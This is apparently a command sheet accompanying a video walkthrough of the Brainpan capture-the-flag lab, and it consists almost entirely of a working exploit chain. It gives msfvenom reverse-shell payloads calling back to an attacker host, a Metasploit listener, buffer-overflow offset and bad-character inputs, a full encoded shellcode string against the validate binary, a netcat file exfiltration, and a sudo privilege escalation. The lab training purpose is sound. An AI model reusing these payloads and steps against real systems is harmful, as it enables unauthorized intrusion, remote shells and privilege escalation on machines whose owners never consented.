As we have promised in the video, here below, we provide the information needed to progress.

Commands:

netdiscover -i eth1 

nmap -A 192.168.56.103

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 900

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

nasm > jmp esp

!mona find -s "\xff\xe4" -m brainpan.exe

msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.56.101 -e x86/shikata_ga_nai -b "\x00" -f py

msfvenom -p linux/x86/shell/reverse_tcp LPORT=443 LHOST=192.168.56.101 -e x86/shikata_ga_nai -b "\x00" -f py

msfconsole
use multi/handler
set LHOST 192.168.56.101
set LPORT 443
set PAYLOAD linux/x86/shell/reverse_tcp
run

python -c 'import pty; pty.spawn("/bin/bash")'

find / -perm -4000 -type f

On Kali:
nc -nlvp 4445 > validate
On brainpan:
nc -w 3 192.168.90.5 4445 < /usr/local/bin/validate

./validate $(python -c "print 'A' * 100")
./validate $(python -c "print 'A' * 200")

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'")

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39644138

run $(python -c "print 'A' * 116 + 'B' * 4 + (200-116-4) * 'C'")

x/s $esp

objdump -d validate | grep jmp | grep eax

objdump -d validate | grep call | grep eax


run $(python -c "print 'A' * 116 + 'B' * 4 + '\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'")


x/100x $eax

msfvenom -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x10\x20\x46' -f py


/usr/local/bin/validate $(python -c "print '\xbf\xa9\xd8\x97\x1a\xda\xc3\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1\x0b\x31\x7b\x15\x83\xeb\xfc\x03\x7b\x11\xe2\x5c\xb2\x9c\x42\x07\x11\xc5\x1a\x1a\xf5\x80\x3c\x0c\xd6\xe1\xaa\xcc\x40\x29\x49\xa5\xfe\xbc\x6e\x67\x17\xb6\x70\x87\xe7\xe8\x12\xee\x89\xd9\xa1\x98\x55\x71\x15\xd1\xb7\xb0\x19' + '\x90' * 46 + '\xaf\x84\x04\x08'")


sudo -l 

cp -r /bin/bash anansi_util
sudo /home/anansi/bin/anansi_util


URLs:

https://github.com/jessekurrus/brainpan/tree/master